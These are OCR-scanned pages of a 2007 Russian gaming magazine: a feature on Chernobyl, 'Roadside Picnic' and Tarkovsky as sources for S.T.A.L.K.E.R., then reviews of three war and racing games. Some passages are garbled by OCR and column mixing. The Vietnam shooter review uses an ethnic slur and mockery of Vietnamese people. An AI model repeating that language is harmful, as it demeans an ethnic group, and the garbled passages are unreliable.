домов. «Осколков Советского Союза в Украине немало, — говорит Большаков, — заброшенные предприятия, катакомбы, безнадзорные военные комплексы... и многое другое. Наш офис, наприйер, размещен на iep- ритории бывшей военной фабрики». Так почему же используют именно ( Чернобыл*»? .«Для меня это живая , ист ория. Руины советских произвб^- сгВеурчтдХ комплеййэв^ гражданских и военщях объектов, транспортные средства — всего этого еще хватает на территории бывшего СССР. Однако все эти следы старой империи вряд ли могут быть столь же остро и пронзитель- но ощутимы, как в Чернобыльской зоне». «Оказываясь в таких окрестностях, вы не верите своим глазам, но понимаете, что время застыло тут, на месте этой рукотворной катастрофы, — делится Большаков. — Логично, что мы увиде- ли в этом прекрасные декорации для игры. Размышляли мы примерно так: советские системы были закрытыми, все так старательно окутано сотнями и ты- сячами тайн, что даже самые невинные объекты обросли слухами и легендами. Например, еще не выяснили, что было причиной взрыва на Чернобыльской АЭС в 1986 году. Но официальной вер- сии — рядовое испытание вышло из-под контроля. Однако есть мнения, что ЧАЭС использовали как батарею для секрет- ных лабораторий, и взрыв произошел во время одного из экспериментов. Еще вспомнили о гигантской антенне, которая находится на территории чернобыльской Зоны отчуждения, так называемый объ- ест Чй>цобыль-2. на некоторых графйях, снятых во время нашей поездки в Чернобыль, очертания гигантский 64 PCGAMER Сентябрь 2007
антенны хорошо видны на горизонте, по данным некоторых неофициальных источников, волны, которые излучает антенна — психоактивные. Она была на- правлена в сторону Восточной Европы и, якобы, ранее использовалась в долгосроч- ном эксперименте по изучению влияния радиоактивного излучения на человече- скую психику, на основе предположений и теорий об эксперименте и был разра- ботан S.T.A.L.K.E.R. Мы отвели комнату для исследования обеих тайных теорий и сопротивления некоторым силам. Наша игра выросла из того, что могло произой- ти в реальности». Как признаются ветераны игры, эта антенна стала главным, центральным местом действия. К тому же, GSC, как украинские раз- работчики, сочли необходимым выде- лить именно украинскую составляющую Чернобыльской проблемы. Случай в Чернобыле в 1986-м — одна из черных страниц украинской истории. Когда это случилось — мир затрубил об опасности радиоактивного загрязнения. К несчат стью, многие факты, относящиеся к этому происшествию В его последствиям, были скрыты огдюдей советской влйстью^. Прошло некоторое время, и они стали за- бывать о трагедии и связанных с нею по- следствиях, с которыми Украине придется справляться фактически самостоятельно. То есть, именно тема Чернобыля по не- скольким причинам легла в основу нашей уникальной и захватывающей игры: известная многим игровая обстановка, таинственность места, радиоактивная угроза (как опасность мутации) — все это соединилось в цельную концепцию игры, пронизанной атмосферой ужа- са. Мотивом создания S.T.A.L.K.E.R. стала необ- ходимость напомнить (и напоминать впредь) людям о Чернобыльской ката- строфе и, в то же время, предостеречь человечество от таких не- обратимых ошибок в будущем. Однако корни S.TA.L.K.E.R. и Зоны от- чуждения лежат намного глубже... Отголоски книги явно видны в игре ОДИН ПРОЦЕНТ Ро<ман Аркадия и Бориса Стругацких «Пикник на обочине» — это пример нового жанра «психологической» фанта- стики, написанной в Советском Союзе. Такие истории имеют в основе научно обоснованные сюжеты, которые развора- чиваются согласно прогрессивным теори- ям современных наук. Сюжет «Пикника» раскручивается вокруг странного со- бытия — нечто атаковало Землю из кос- моса. Как я предполагаю, эта идея более всего созвучна с реальными событиями в Сибири в 1908-м, где взрывом уни- чтожило огромные площади (к счастью, необитаемого) леса. В результате этого инопланетного вторжения на Земле по- являются загрязненные зоны, на одной из них, в Канаде, и сфокусировано внимание читателя. Эти зараженные зоны полны необычных опас- ностей, например, гравитаци- онные ловушки и миражи, но не они цен- ны. Здесь наибольшей ценностью явля- ются различные предметы, разбросанные на просторах Зоны посещения, предметы, обладающие самыми разнообразными свойствами — от опасных и до полезных. Именно эти артефакты ищут некоторые безрассудные и загнанные в ловушку неприятия социальной системы люди, называющие себя сталкерами. Когда чи- таешь роман, то начинаешь поневоле Сентябрь 2007 GAMER 65
г Некоторые люди до сих пор живут среди руин. Припять будет оставаться потерянным городом еще около трех столетий. ► задумываться — а кто такие сталкеры, зачем они ходят в зону за «хабаром», за- чем подвергают опасности себя и своих близких? Один из персонажей книги, Гуталин, напрямую говорит о том, что Зона — это порождение дьявола, и все, вынесенное из зоны, необходимо безвоз- вратно вернуть обратно; -— - - Название «Пикник на обочине» основано на метафоре героя доктора Валентина Пилмапа. Размышляя о при- роде Зоны отчуждения! он сравнивает ее с придорожным пикником. «После того, лены — именно их мы и создали. В 1971 году в Советском Союзе уже сущее гвова- ли такие «зоны», исчисляя свой «возраст» от экологических инцидентов и ядерных экспериментов 50-х. Фильм Андрея Тарковского «Сталкер» — стал одним из шедев- ров российского кино. Это было кино о взрослении, слабости, одержимости и экологическом бедствии. В центре внимания картины — трое мужчин, путешествующих по местности апока- липсического вида, называемой «Зона». Предводитель этой тройки уже бывал здесь. Это и есть Сталкер. Этот мужчи- на проводит экскурсии в закры тый для «посетителей» регион, предлагая путь к машине исполнения желаний. По не все так просто, он сам выбирает людей, ко- торых нужно провести по этому пути. Существует легенда о комнате, которая выполнит все желания и осуществит все мечты вошедшего. Мы видим путь, который проходят эти трое по руинам старого юрода, чтобы попасть в заве i ную комнату. Ландшафты пришлось снимать Фрагменты фолк-музыки - одна из отличительных черт Stalkers р как 'поди покидают место свое- го oi ц.1\.1 на природе, — рассу- ждай । юк юр, — с человеческим мусором сталкиваются живот- ные, обн тающие в этой местно- сти. То, что обнаруживают лес- ные пли степные жители, часто чуждо им и даже опасно для их жизни. Некоторые вещи — на- пример, обертки от конфет или моторное масло — не являются ивиии частью животного мира, и зве- ри не имеют опыта общения (обращений) с ними. Сталкиваясь с фак- том инопланетных вторжений, челове- чество оказывается в такой же ситуации, как те жи вотные: что-то непостижимое посетило Землю, и в результате его при су тс 1 вия образовались опасные зоны, угрозу которых мы даже не надеемся по- пять». Не трудно заметить, что все это может быть истолковано как аллегория экю логического загрязнения — пробле- ма. которая приобрела особое значение. I Проблемы экологии часто непостижимы дМ/донимания, не могут быть неправ-
дважды. Первый вариант съемок откры- той местности был утрачен после того, как кто-то испортил киноинвентарь. Во второй раз снимали на нерабочей гидроэ- лектрической дамбе в Эстонии. Дамба находилась по течению от химического завода, который сбрасывал токсичные отходы в реку. Химические отходы не- плохо смотрелись в фильме в ленте они I рансформировались в зрелищные образы. 11о имеющимся данным на сюжет фильма повлияла ядерная катастрофа на заводе «Маяк» возле Челябинска в 1957 году, в результате которой огромная часть территории России была загряз- нена и практически опустошена. В то же время, не было никаких официальных со- общений о зоне карантина, что породило великое количество тайн и мистифика- ций. Писатель Стас Туркин предположил, что пророческий фильм фактически предсказал Чернобыльскую катастрофу, которая произошла несколькими годами позже. Похоже на то, что жизнь подра- жает искусству, и резонанс этих событий и выдумки поистине великолепен. И игра, фильм, и роман зат ронули тему загрязнения окружающей среды и существования «Зоны». 11 сделали эго в согласии с художественной чувствен- ностью, которая обрамляет картины урбанистического разрушения, делая их безумно красивыми (или. как минимум, интересными). Эта реальность, впрочем, никогда не была более совершенной, чем пос ле событий в 1986-м, когда взорвался Чернобыльский атомный реактор, выбро- сив огромное количество радиоактивных частиц в атмосферу и загрязнив большую часть Европы. Вскоре после инциден га советские власти объявили 30-кпломет- Эта игра воз- делывает ; собственную оскверненную почву нью, но делает полезную работу — по- могает людям узнать Зону и понять, как она живет». В сердце Зоны не может быть тайн или мутантов, человекообразных роботов- убийц. Легко понять, почему именцо Зона вдохновила GSC на создание ихл$'чшей на сегодняшний день работы. Ибо онам стала посланием, предупреждение^, алле- горией и... жестокой реальностью. ПРИЗРАКИ БУДУЩЕГО * Зона — это прекрасный концепт для ровую территорию вокруг Чернобыля Зоной отчуждения, закрыли ее и эваку- ировали 14 000 человек из физлежащей Припяти. Чернобыльская катает рофа — это наи- более заметный за последние 30 ле г исто- рии Украины фактор, повлиявший на со- знание всего человечества. И поэтому не удивительно, что GSC решила исполь- зовать материалы о заброшен- ной зоне для своей работы. Большая часть того, что вы видите в S.T.A.1..K.E.R. это пейзажи местности, включая । юки нутыгусела и города, । де когдаЯю жили со своими семьямй работники электро- станции. Многие люди вернулись в зону, что- бы здесь жить. Это и бывшие жители, которые отказываются верить в го, что радиация способна как-то повлиять на их здоровье, и криминальные элементы, использующие природу вне власти «ре- шеток» для того, чтобы скрыться, и не- которые беженцы из воюющих стран — бывших советских республик, Некоторые сегодня работают здесь гидами, устраи- вая экскурсии в Зоне. Один и£ таких экскурсоводов — Александр Наумов. Он даже называет себя Сталкером. Наумов считает, что проводить людей но зоне за деньги — это «богохульство». Он рас- сказал украинской писательнице Янине Соколовской: «Сталкер рискует жиз- IER 67 г.» игры. Забытое королевство, ко торое все еще имеет какую-то связь с реальным миром. Это место, где привычные законы не имеют силы, а тайна воедино слива- ется с реальностью. В некотором смысле это аналогично позиции, нашедшей от- ражение в игре: кусок реальности, очень отличающийся от «нашего», «обычного» мира. S.T.A.L.K.E.R. может быть номег&’н в пространство реального мира, но он абсолютно не похож ни на один из из- вестных миров. И это не просто на- слаждение кар ги г гой гниющего мира, утверж- дающего себя — поэтому столь и трогателен (еще и пот4>1гу,|Что, несомненно,-это его — муг0;1»i неотъемлемая часть). Не требует доказамгЬств и то, что S.T.A.L.K.E.R. <;уйщняет1в себе русскую фантастику наибоДа прогрессивной формы иг ры — л'АЦнмо Исследования. Са^<| большое достижение GSC — это то,<пф|1рарработчикам удалось исполь- зовать явно американские игровые фор- мы йЦацгмнить их чем-то, несомненно украинским, бесспорно Чернобыльским. Результат — S.T.A.L.K.F..R, — яркое напо- минание о происшедшем, и убедительное предостережение от повторения столь же Фатальных ошибок в ^будущем. И дзаюг точение: все мы ворчим о’гЛо- •^гл^хВШио'ггмцгегпги, забывая, что спо- собй*г-'й.?чсдда*г • а это ужасно. Будем наДёять^&йдпеуаЛЬныг; события" прошлого останутся толвКо вЧаших ' играх или фантастике.. за6Хь-“ветсГ с,роевия исчезнут... • НО миф и память будут жить вечно.
Летающая крепость 2 Туман, туман, слепая пелена, а всего в двух шагах за туманами — война...» Именно туман и другие погодные условия мешали летчикам выполнять свою нелегкую работу. И не важно, под каким флагом они летали... Условия для всех были одни. Но, несмотря на это, аме- риканские тяжелые бомбарди- ровщики В-17 поднимались с британских аэродромов и летели на очередное за- дание. Днем и ночью они неустанно ходили на немец- кие промышленные зоны и военные базы: Киль, Пилау, Гамбург, Данциг, Брест... Едва ли нужно говорить игроку, что в симуляторе В-17 речь пойдет именно об этих грозных машинах, которых недаром прозвали «летающей крепостью». Сюжет игры повествует о боевых действиях 331-го тяжелого бомбардировочного полка знаменитой восьмой ударной авиадивизии США. Авторы позволили нам вы- брать одну из восьми эскадри- лий этого полка, подобрать экипаж, а это целых десять человек! И более того, можно выбрать эмблему из целого списка! Причем многие из них являются точными прототи- пами, которые использовали американские летчики. Разработчики серьезно подошли к своему проекту и с самого начала погрузили игрока в боевую атмосферу. После выбора экипажа вы, как офицер и командир, попадае- те в штаб. Можно заходить в различные комнаты, смотреть дневник боевых вылетов, ознакомиться с подробными картами вылета, заданными маршрутами, составом групп прикрытия (если таковы име- ются в наличии) и прочими деталями, необходимыми ко- мандиру. Теперь направляемся к ангару, где тяжелые самоле- ты загружают бомбами... Садимся в самолет, и здесь все начинается. Поражает интерфейс самолета и его приборов. Разработчики постарались максимально реализовать приборную доску и все механизмы сложного бомбардировщика. Экипаж из десяти человек легко управ- ляется с этой машиной, а мы с такой же легкостью можем управлять любым членом ко- манды. Можем смело садиться за штурвал, отдавать команды остальным воякам, при не- обходимости подменивая то стрелка, то радиста. А если кто-либо ранен, можно отдать команду оказать медпомощь. Ведь, при встрече с истребите- лями, от ранения или даже от смерти никто не застрахован! Кроме этого, ведется учет пов- реждений различных частей самолета, и некоторые из них мы можем устранять. Реалис- тично, не правда ли? Не стоит углубляться в систему управления каждым персонажем — мы отдаем команды, и все их исполняют. Вы одновременно и командир, и просто член команды. В об- Учебка, как она есть — i мг > 68 GAMER Ноябрь 2007
щем, продуманный интерфейс позволяет правильно расста- новить обязанности и наслаж- даться игрой! Удивительно, но в игре присутствует и элемент РПГ. Команда после нескольких вылетов получает опыт. Ведь не сразу получается из чело- века отличный стрелок или умелый штурман! Боевые задачи и полеты представляют собой красивую и сбалансированную систему. Одиночных самолетов нет. Кто сам попрет на строй В-17? Бои зачастую получаются за- хватывающие, где участвуют по несколько десятков само- летов с обеих сторон. Иногда можно отвлечься, когда не так «жарко» в небе, и полю- боваться на строй идущих самолетов. Иногда камеру можно приблизить и посмот- реть на результат бомбового удара. Если все в дыму и в огне — значит, не все так пло- хо. Эскадрилья, идем домой! С одной стороны разработ- чики добились-таки реализма, с другой — построили игру так, чтобы игрок не скучал и не на- прягался. Если вам, например, надоело управлять самолетом и все делать вручную — не воп- рос — можете просто наблю- дать или сидеть и постреливать из спаренного пулемета. Эх, воевать здесь достаточно легко, с выходными, разумеется! Не поленились авторы про- думать и искусственный ин- теллект, и тактику вражеских пилотов. Теперь вертких ис- требителей стало очень тяжело подбить, несмотря на множес- тво пушек и пулеметных туре- лей. Если удалось выпустить очередь из бортовых пушек и подбить «зазевавшийся» «фок- кер», то считайте, что вам по- везло! Чаще немецкие пилоты действовали из засад: заходили со стороны солнца и старались атаковать мертвые зоны огне- вой мощи самолета — боковые части. Если даешь несколько очередей из хвостовых устано- вок, противник не копошится и уходит из зоны действия огня. Если трудно играть, то можно снизить реализм. Но не полностью, конечно. На запуск и прогрев двигателя все равно будет уходить более минуты. Полет и посадка так же за- нимают положен- ное время, причем посадить самолет гораздо сложнее, чем взлететь. Это подтверждает и жизненная прак- тика. А закрылки, шасси и бомболюк будут закрываться автомати- чески. Интересно еще изучать повреждения после боевого задания. Тогда во всей красе можно рассматривать поби- тый самолет — где-то не хва- тает обшивки, где-то прошито пушками бронестекло... Эх, патроны... патроны-то заканчиваются, как, впрочем, и всегда. К нашему неудоволь- ствию, и к радости противника. Это надо учитывать, и все же стараться экономить боеприпа- сы, хотя в боевой обстановке не замечаешь, Именно из этого симуля- тора мы сами находим все сильные и слабые стороны В-17 в бою с какой страстью нажимаешь на гашетку. А бомбометание — это отдельный разговор. Скажу прямо: собственноручно точно наводить на цель — у меня не получилось. Сложные прибо- ры, да и система наведения, как в боевой машине. И надо быть достаточно опытным ассом, чтобы высчитать траекторию и зону падения, правильно опре- делить погрешности. А их не- мало. Но благо, что в таких от- ветственных моментах можно спихнуть обязанности на под- чиненных. ..Нов таком случае мы не получим удовольствия от прямого попадания в цель, хотя с другой камеры мы можем-таки полюбоваться на яркий и сочный взрыв какого- нибудь склада! Графику нель- зя назвать чем- то новым и сног- сшибательным, но все смотрится довольно снос- но. Правда, если качество моделей самолетов и прочей техники очень прилич- ное, то сам ландшафт остается блеклым и иногда даже нере- альным. Скучные облака, кото- рые остаются плоскими(!), мут- ные воды заливов — все как-то не очень правдоподобно. Хотя учитываются тени строений, деревьев и даже облаков. Что особенно хорошо получилось у разработчиков — это соответ- ствие карт и самой местности. Четко представлена модель Ев- ропы (где мы и ведем основные действия и бомбовые удары), а также часть Британии. По картам можно находить марш- руты, если кто-то заблудится. И это действительно приятное новшество. Режимов в игре несколько, но самый увлекательный — это, конечно же, «Карьера». Нас ждут прекрасные и после- довательные миссии, хотя все они, в принципе, сводятся к одному — бомбежке. Да и ле- теть до цели очень прилично, и когда ничего особо не проис- ходит — начинаешь впадать в уныние. Удивительно, но в игре не предусмотрен многополь- зовательский режим. А как было бы ярко полетать и пострелять «по сетке», при- чем поменять порядком под- надоевший В-17 и пересесть на тот же Focke Wulf-190 или Messerschmitt-109. Но разра- ботчики наглухо «приковали» нас к сидению «летающей крепости». Воюйте во славу американского оружия и все! Но и на том спасибо. Ведь игра на самом деле получи- лось очень неплохой: проду- манный интерфейс тяжелого «бомбера», продвинутый А1, реалистичность. Что еще нужно, для того чтобы по- чувствовать себя настоящим летчиком? Закалка в бою? Вот и полетаем! КРАТКАЯ ИНФОРМАЦИЯ Жанр Simulator(Flight Combat)/3D Разработчик: Wayward Design Limited Издатель: MicroProse Software •41 Издатель в России: Акелла Ш Оценка журнала % Ноябрь 2007 PCGAMER 69
Глаголим истину MX vs ATV UNLEASHED Битвы внедорожников Уважаемые любители драйва, экстрима и скорости! Встре- чайте яркий и кра- сочный симулятор MX vs ATV: UNLEASHED. Если у кого-то возникают сомнения по этому поводу, что ж, нам есть что сопоставить, аргументируя сказанное. Конечно, «Битву внедорожников» следует вос- принимать образно, ведь на самом деле основными героя- ми здесь выступают не бульдо- зеры на огромных колесах, а их меньшие братья — квад- роциклы и мотоциклы. «Разве мотоциклы — это внедорожники?» — спросят многие гонщики. Почему мы отнесли их к этой категории? Мы все объясним. Вот вам, геймеры, первый аргумент: лег- кие, спортивные, пружинистые мотоциклы специально создан- ные для гонок по пересечен- ной местности. И если такой «спортяга» довольно скромно смотрится на асфальтирован- ных дорогах, то на склонах и пересеченной местности ему не будет равных. Это его стихия и его дом! Второе звено — это квад- роциклы. Братья и соперники по оружию против ухабистой местности! Их противостоя- ния стали основой игры «Бит- вы внедорожников». Первое, что бросается в гла- за при виде игрового меню, — его огромные возможности, причем именно мы настраи- ваем все и выбираем. По своему вкусу, разуме- ется! Маленький подарок драйверам . от разработчи- 1 ков — приятная I музыка, начиная ' от популярных хитов классики рока и заканчивая довольно у ГЛАВНОЕ 1 Экстрим и скорость ощущается в каждой трассе и делает игру l реалистичным к симулятором J быстрыми ритмами. Ведь все понимают, что любая гонка без музыки неинтересна! И наслаждаясь этой музыкой, мы выбираем себе нужную гонку. В игре четыре основных режима: «Одиночная гонка», «Чемпионаты», «Быстрая гон- ка» и, конечно же, «Сетевая игра». Отдельно выложен магазин. Здесь находится все самое необходимое и свежее. В магазине есть все, что по- надобится гонщику — шлем, очки, рукавицы, комбинезон. А главное — десятки моделей квадроциклов и мотоциклов, которые имеют разные объе- мы двигателей, габариты, ско- рость и прочее. В общем, в лавке есть что выбрать, были бы деньги, а точнее, очки. Каждый режим — это но- вая, захватывающая история. Можно выбрать нацио- нальный чемпионат, L гонку на выбывание, 1 быструю трассу или I суперкросс. Причем ’ играть можно как мотоциклом, так и четырехколесным вез- деходом. В национальном чемпио- нате находится более десятка трасс. По желанию, мы можем выбрать водителя, оборудо- вание, количество кругов. Вот только в начале игры выбор невелик — всего два вида спортивной единицы от ми- ровых производителей. Так же обстоит дело и с амуницией. После прохождения этих трасс будет учитываться не только занятое место, но и скорость прохождения каждого крута, а еще окончательный результат! За все это мы и получаем очки, с которыми отправляемся в ма- газин и присматриваем что-то интересненькое и новенькое. «Суперкросс» интересен по- своему. Здесь нет длинных хол- мистых пейзажей, а действие происходит на огромном ста- дионе с несколькими трампли- нами. Вот тут-то мы и сразимся с оппонентами и покажем мас- терство вождения и исполнение всевозможных трюков. Именно от качества последних будут долгожданные очки и бурные аплодисменты зрителей! В любом режиме мы можем выбирать число оппонентов: два, три, а может пять? Можно и пять. Выбираем сложность, состав противников — только мотоциклы или только квад- роциклы, или смесь того и другого. При любом выборе битва предстоит жаркая и насыщенная! Сколько кругов нравится — столько и ставим. И это далеко не все настройки в режимах. Ведь кубки, чемпи- онские титулы и неимоверные призы ждут только самых 70 PCGAMER Ноябрь 2007
отважных ветеранов этого экстремального спорта! В чем отличия и пре- имущества квадроцикла от двухколесного собрата? Квад- роцикл — более устойчивый, особенно при прыжках и крутых поворотах. Мото- циклы — более динамичные на ровном участке пути и более маневренные. Каждый имеет свои преимущества. Но это не значит, что мотоцикл лучше и быстрее, и с ним вы точно одержите победу. Глав- ное — кто за рулем! А осталь- ное — дело техники! Поражает и игровая дина- мика. На любой трассе в MX vs ATV: UNLEASHED есть где разогнаться. Скользкие и опас- ные повороты, крутые подъ- емы, попав на которые, взлета- ешь почти до самых небес и самые настоящие против- ники, готовые от начала и до конца бороться за звание быть лучшим. Справитесь? Кроме увлекательной езды, в игре есть и несколько «фишек». Для начала, можно разогнаться и на трамплине попробовать сделать «мерт- вую петлю» или разворот на 360 градусов. Но это для профессионалов. Новичкам достаточно проехаться на заднем колесе. Впечатляю- щий, но не всегда приятный момент: в процессе гонки вас могут просто сбить или выру- бить с локтя. Случалось такое, что одновременно на одном трамплине взлетают два мото- цикла, приближаются друг к другу, и в полете один выруба- ет другого. В результате этого поверженный соперник падает с огромной вы- соты. О послед- ствиях можно и не говорить. Но не пугайтесь — в игре травмы и увечья отсутству- ют. Все проис- ходящее для вас совсем безболез- ненно, и через две секунды вы реге- нерируете. Есть риск столкновений не только с соперником на поворотах, но и с другими препятствиями: домами, оградами, камнями и множеством других предме- тов, которые попадаются вам на пути. Со всех сторон и на каждом крутом повороте — экстримом так и пахнет. Конечно, не ограничилось и запретами. Если, к примеру, кто-то свернул с трассы, что- бы срезать путь, то стрелка и счетчик за пять секунд вернут на место «провинившегося». Игрок начнет с того места, где натворил «бок». И не важно, заблудился ли кто, Попробуйте пролететь на мотоцикле 50 метров и расскажите своим друзьям о впечатлениях! не туда свернул или захотел использовать «короткую» до- рогу — приговор обсуждению не подлежит. Трудно сказать, насколько это уместно в гонках по пересеченной мест- ности, но, во всяком случае, справедливо. В игре очень легкое управ- ление. Герой прыгает, падает и маневрирует как настоящий профессионал. Эх, если бы в реальности все было так легко, то многие гонщи- ки вздохнули бы с облегчением. Мотоцикл так же не поддается повреждениям. А зря. Хотелось бы видеть, как отваливаются колеса, как ды- мится перегретый мотор, что действительно часто случает- ся в реальности. Графика настолько кра- сочная и сочная, что хочется любоваться пейзажами, не наблюдая времени. А поез- дить всегда успеем. Краси- вый закат, хмурые облака, палящее солнце — это далеко не все прелести реального мира «Внедорожников». Достаточно посмотреть на рельеф трасс и спецэффек- ты. Любой поворот закан- чивается поворотом или наклоном головы, туловища и конечностей пилотов. Пыль, которая поднимается столбом, лучи солнца, поб- лескивающие на стальных бортах... Очень впечатляет прорисовка не только пейза- жа и локаций, но и каждой спортивной единицы. Давно не видели мы такой графики, эффектов и звука. Мотор начинает реветь при каждом нажатии на газ. Когда пилот не удерживается и слетает со «стального коня», то слышны крики и стоны... В общем, все как вживую. Кроме этого, можно ис- пользовать любой режим камеры — сверху, со стороны, сзади или классический (вид от первого лица). Первый ре- жим позволит максимально насладиться пейзажем и эф- фектами, в последнем — прос- то перехватывает дыхание у любого, кто рискнет взлететь с трамплина! Вот это насто- ящий адреналин и вкус ско- рости! И напоследок: перед игрой не забудьте пристегнуться, а то можно улететь... КРАТКАЯ ИНФОРМАЦИЯ Жанр: Arcade/Racing(Cars)/3D Разработчик: Rainbow Studios Издатель: THQ Издатель в СНГ: Акелла Оценка журнала 84% Ноябрь 2007 Р-GAMER 71
Глаголим истину The Hell in Vietnam: Приказано Уничтожить Война продолжается... Три тени появились в вечерних сумерках и насторожили кара- ульного. «Стой! Кто идет?» — крикнул часовой и потянулся к автомату... Но тут же опустил оружие, уви- дев, что это свои... Какими-то странными и неживыми пока- зались ему солдаты. У одного на голове был окровавленный бинт, второй стоял с под- вязанной перебитой рукой, а третий едва держался на ногах... Он никого не видел и не слышал. Его полусогнутое тело, поддерживаемое това- рищами, было истерзано... Руками он прикрывал живот, из которого все еще струилась кровь... После выполнения задания из всей группы уце- лели только эти трое... Обо- рванные, еле живые, они по- ходили на зомби... «Ад... Это вьетнамский ад...» — прошеп- тал раненый сержант. В новом шутере «Вьетнам- ский ад: Приказано уничто- жить» авторы смело передали безмолвный ужас, который охватил многих американских пехотинцев во время Вьетнам - кмой войны. Но едва ли кому когда-то удастся пережить то, что пережили солдаты, борясь за жизнь в про- мозглых джунглях, где таилась одна лишь Смерть... Наш герой, младший лейте- нант Том Коберн из 26 воздушно- десантного полка, не- давно закончивший военное училище, еще не знал, с чем ему придется столкнуться. Буквально через день он по- менял свое мнение о войне. Вся его привычная армейская романтика, громкие слова о непобедимости американской армии куда-то улетучились. Его подстерегала страшная и мрачная действительность, опасные задания и смерть. Смерть, подстерегавшая его и товарищей в казармах, на до- рогах, в чащах... везде, где мог укрыться вьетнамский воин... Итак, нас действительно / ГЛАВНОЕ \ ' «Калаш» в боевой ситуации оставляет М-16 далеко позади. Американцы это \ знают! / поджидают опасные и захва- тывающие задания. Все они порядком непредсказуемы. Именно поэтому разработчи- кам удалось держать игрока в постоянном напря- жении и интриге. Все, кон- чилась беспечная жизнь, и начались суровые армейские будни. Огромный спектр задач и обя- занностей — разведка, прикрытие, освобождение заложников (и такое бывало, представьте), штурм высо- ты — то немногое, что нам предстоит испытать в игре. В первой миссии лейтенант Коберн вместе с другими членами группы должен про- биться к блокпосту, который уже несколько дней атакуют вьетконговцы... Американцы прибыли на место без особых приключений, подстрелив по дороге несколько десятков узкоглазых, но, увы, спасти кого-либо уже было не суж- дено: все, как один, были же- стоко у Опты, хотя отстрели- вались до последнего патрона. Солдаты погибли, но в плен не сдались, так как всем было из- вестно, что их ждет в плену у «гостеприимных» вьетнамцев. Что ж, в бою нас ждет несколько интересных мо- ментов. Вся экипировка пехотинцев до безобразия стандартна: пистолет, винтов- ка М-14 пли М-16 и несколько осколочных гранат. Если вы надеялись увидеть мощные шестиствольные пулеметы, снятые с вертолетов и про- чей боевой техники, то я вас очень разочарую. Используя автоматическую штурмовую винтовку М-16 с обоймой в 20 патронов, я не получил никакого удовольствия. Ни от стрельбы одиночными, ни от наведения, когда прижимаешь оружие и целишься мушкой. К тому же, винтовка хоть и скорострельная, но имеет малый запасом обоймы. Ска- жу прямо, я снял с убитого вьетнамца наш родной и лю- бимый АК-47 и словно вырос 72 GAMER Ноябрь 2007
и окреп. Ведь именно такое оружие вселяет уверенность. Простой, практичный и на- дежный, он посылал очередь туда, где скрывался засев- ший противник. И повсюду слышались крики и вопли умирающих... Именно так и поступали большинство солдат США, используя наши трофейные автоматы, потому что их преимущества были на лицо. Если же посчастливилось найти РПК и патроны к нему, солдат чувствовал себя в бе- зопасности. Правда, об укры- тии тоже не следует забывать, так как снайперов и метких Гтрелков предостаточно... Радует искусственный интеллект и особая тактика противника. Он бегает, скры- вается, стреляет и ложится, не дожидаясь ответной очереди. Хотя, есть один минус: засады, где противник неожи- ?анно выскакива- г и предательски стреляет в спину. Если нам не повез- ю, мы можем за- грузиться заново. Но что мы видим? Во-первых, ручная граната часто почему-то не приносит ущерба затаившемуся врагу. Во-вторых, стоит прибли- зиться и стать в сторонке, как на нас несется стреляющий враг. Но он стреляет только в заданный сектор и не видит нас... Странно, не правда ли? Несмотря на свободу так- тических действий,чувству- ется линейность каждой мис- сии. С этим разработчики не смогли ничего поделать. Не- возможно спрятаться в джун- глях, нельзя обойти и ударить с тыла в притаившегося врага. Кроме этого, в игре с тобой бегают солдаты, стреляют, атакуют, но почему-то оста- ются живы. Их убивают, когда это предсказано дальнейшим сюжетом. Было бы интерес- нее, если бы наш Том Коберн сам отдавал приказы: кому штурмовать, а кому остаться, ведь о защите тыла тоже надо думать! Но нет, все сводится к стрельбе на поражение и за- хвату трофейного оружия. Перед каждой миссией мы не можем выбирать себе арсенал, но там, где надо, нам выдают и взрывчатку с детонатором, и гранаты. Хотя, взрывчатку мы можем устанавливать только в спе- циально помеченных местах. Растяжки, которые так любят жители «зеленого ада», опас- ны, если их не заметишь. Но для трупа роднои*ГфесС1,онала сх “ ^обезвреживание И люоимыи такой ловушки — АК-47 - дело дело нескольких । i\ л । п юр I л секунд. Так что, не робейте. приятное! Если говорить о физике, то ее можно назвать совершенно достоверной. Если увеличить радиус действия осколочных гранат, трупы разрывались бы при их взрывах... Но это тоже не предусмотрели. Линейность миссий ком- пенсирует непредсказуемость на поле сражения. Стреми- тельные нападения вьетнам- цев, изменения целей, когда на пути следования наш отряд наталкивается на укреплен- ный бункер. Что остается делать бравым американским В городе паника: прилетели американские «Фантомы»! SU .’58 парням? Конечно же, вызы- вать авиацию! Чего же не хватает в игре? Реалистичное оружие, краси- вые локации, самая разнооб- разная техника: от патрульных лодок до истребителей и вер- толетов. Вроде бы, все есть! Единственное, чего не хватает — это динамики. Именно ди- намичного боя, быстрой сме- ны обстановки, смены боевых задач и, соответственно, ло- каций. Нужно учитывать, что игра никак не претендовала на звание «супер-хита», поэтому критиковать нужно с лояль- ностью и снисхождением. Графика красивая, осо- бенно качественно про- рисовано небо и зеленые джунгли. Черты лица солдат хорошо просматриваются, но сказать, что они двигаются при разговоре и что-либо выражают, довольно сложно. Вспышки выстрелов, взры- вы гранат и снарядов, пыль, туман — все очень красиво и правдоподобно. Не уступа- ет графике и звук. Слышны не только голоса явно китай- ского произношения, но и англоязычный сленг наших братьев по оружию. Звук на- столько реалистичный, что погружает игрока в боевую атмосферу на все 100, если даже не на 200 процентов. Чего стоит услышать отчет- ливую дробь «калаша». Его невозможно спутать с чем-то другим. И это радует! Все же любят и уважают силу рус- ского оружия! Вот мы и познакомились с этим военным боевиком. Очень надеемся, что заинтри- говали вас. Хотя миссий всего восемь, но все они насыщены заданиями, локациями, техни- кой и своими «изюминками». Так что, забавные, но очень надоедливые вьетнамцы не позволят скучать Тому Кобер- ну, вам, да и всему подразде- лению бравых американских вояк! КРАТКАЯ ИНФОРМАЦИЯ Action(Shooter)/3D/lst Person CITY Interactive CITY Interactive II ,'.i I- к СНГ Акелла Оценка журнала 67 Черт, попал! Снайперка - вещь привычная на войне: бьет точно в лоб. Ноябрь 2007 Р GAMER 73
